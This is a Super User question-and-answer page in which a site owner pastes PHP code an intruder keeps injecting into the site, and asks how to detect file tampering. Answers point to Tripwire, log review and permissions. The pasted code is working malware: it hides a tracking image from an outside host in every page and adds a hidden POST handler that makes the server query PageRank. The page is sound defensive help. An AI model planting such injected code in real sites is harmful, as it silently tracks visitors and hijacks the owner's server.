Take the 2-minute tour ×
Super User is a question and answer site for computer enthusiasts and power users. It's 100% free, no registration required.

The issue is this. There is some leak somewhere in my site that allows someone to edit files arbitrarily (or he has gotten access to FTP/SHH, but I don't see that in the logs).

He keeps injecting this code into different PHP files:

<?php
//{{27460aba

GLOBAL $alreadyxxx;
if($alreadyxxx != 1)
{
$alreadyxxx = 1;

$olderrxxx=error_reporting(0);

function outputxxx_callback($str)
{
  $links = '<SPAN STYLE="font-style: normal; visibility: hidden; position: absolute; left: 0px; top: 0px;"><div id="g34dae82b267843a194c001f72"><img width=0 height=0 src="http://airschk.com/countbk.gif?id=4dae82b267843a194c001f72&p=1&a=%3CR%C6%8E0%14%00M%049%F2%1F%D5%A2e%A8%84%A2%90%7B%AB%D0t%A3F%B7%BEi%D5%9B%D5%FD"></div></SPAN>';
  preg_match("|</body>|si",$str,$arr);
  return str_replace($arr[0],$links.$arr[0],$str);
}

function StrToNum($Str, $Check, $Magic)
{
   $Int32Unit = 4294967296;
   $length = strlen($Str);
   for ($i = 0; $i < $length; $i++) {
       $Check *= $Magic;
       if ($Check >= $Int32Unit) {
           $Check = ($Check - $Int32Unit * (int) ($Check / $Int32Unit));
           $Check = ($Check < -2147483648) ? ($Check + $Int32Unit) : $Check;
       }
       $Check += ord($Str{$i});
   }
   return $Check;
}
function HashURL($String)
{
   $Check1 = StrToNum($String, 0x1505, 0x21);
   $Check2 = StrToNum($String, 0, 0x1003F);

   $Check1 >>= 2;
   $Check1 = (($Check1 >> 4) & 0x3FFFFC0 ) | ($Check1 & 0x3F);
   $Check1 = (($Check1 >> 4) & 0x3FFC00 ) | ($Check1 & 0x3FF);
   $Check1 = (($Check1 >> 4) & 0x3C000 ) | ($Check1 & 0x3FFF);

   $T1 = (((($Check1 & 0x3C0) << 4) | ($Check1 & 0x3C)) <<2 ) | ($Check2 & 0xF0F );
   $T2 = (((($Check1 & 0xFFFFC000) << 4) | ($Check1 & 0x3C00)) << 0xA) | ($Check2 & 0xF0F0000 );

   return ($T1 | $T2);
}

function CheckHash($Hashnum)
{
   $CheckByte = 0;
   $Flag = 0;

   $HashStr = sprintf('%u', $Hashnum) ;
   $length = strlen($HashStr);

   for ($i = $length-1; $i >= 0;  $i--) {
       $Re = $HashStr{$i};
       if (1 === ($Flag % 2)) {
           $Re += $Re;
           $Re = (int)($Re / 10) + ($Re % 10);
       }
       $CheckByte += $Re;
       $Flag ++;
   }

   $CheckByte %= 10;
   if (0 !== $CheckByte) {
       $CheckByte = 10 - $CheckByte;
       if (1 === ($Flag % 2) ) {
           if (1 === ($CheckByte % 2)) {
               $CheckByte += 9;
           }
           $CheckByte >>= 1;
       }
   }

   return '7'.$CheckByte.$HashStr;
}

function getpr($url)
{
   $ch = CheckHash(HashURL($url));
   $file = "http://toolbarqueries.google.com/search?client=navclient-auto&ch=$ch&features=Rank&q=info:$url";;
   $data = file_get_contents($file);
   $pos = strpos($data, "Rank_");
   if($pos === false){return -1;} else{
       $pr=substr($data, $pos + 9);
       $pr=trim($pr);
       $pr=str_replace("
",'',$pr);
       return $pr;
   }
}

if(isset($_POST['xxxprch']))
{
    echo getpr($_POST['xxxprch']);
    exit();
}
else
  ob_start('outputxxx_callback');

error_reporting($olderrxxx);
}

//}}42011069
?>

This seems to be some tracking script. But my question is, can I somehow set a tripwire through SSH (I am root) that activates when someone tries to edit some files? I want to bust this guy (or girl) and find the leak.

share|improve this question
    
Is this a CMS of some sort? If so, could they be exploiting a security hole in the software? –  Justin Pearce Apr 29 '11 at 20:32
    
Oh, forgot to say, I don't use some mainstream CMS like Joomlah, I do use some self-made PHP scripts, so the leak might be in them. Though, I could confirm that by busting the php process, so even in that case this would be handy. –  nightcracker Apr 29 '11 at 20:44
    
Is it possible your root password has been compromised? –  Justin Pearce Apr 29 '11 at 21:16
    
@Justin Pearce: Nope, after some additional check the root seems to be uncompromised. –  nightcracker Apr 29 '11 at 21:20

2 Answers 2

up vote 1 down vote accepted

Try checking out this solution:

http://www.thegeekstuff.com/2008/12/tripwire-tutorial-linux-host-based-intrusion-detection-system/

Hope this helps.

share|improve this answer
    
This seems nice :) +1 –  nightcracker Apr 29 '11 at 21:33

Look at the time stamp of the modified file and then look at your Apache logs for the entries in that time window. This should give you an idea of the vector. Verify the permissions on your content, and make sure that the Apache user is not able to write to anything unless it is absolutely necessary. ModSecurity is also very helpful for preventing this type of attack; however, you need to understand how your web apps work.

share|improve this answer

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.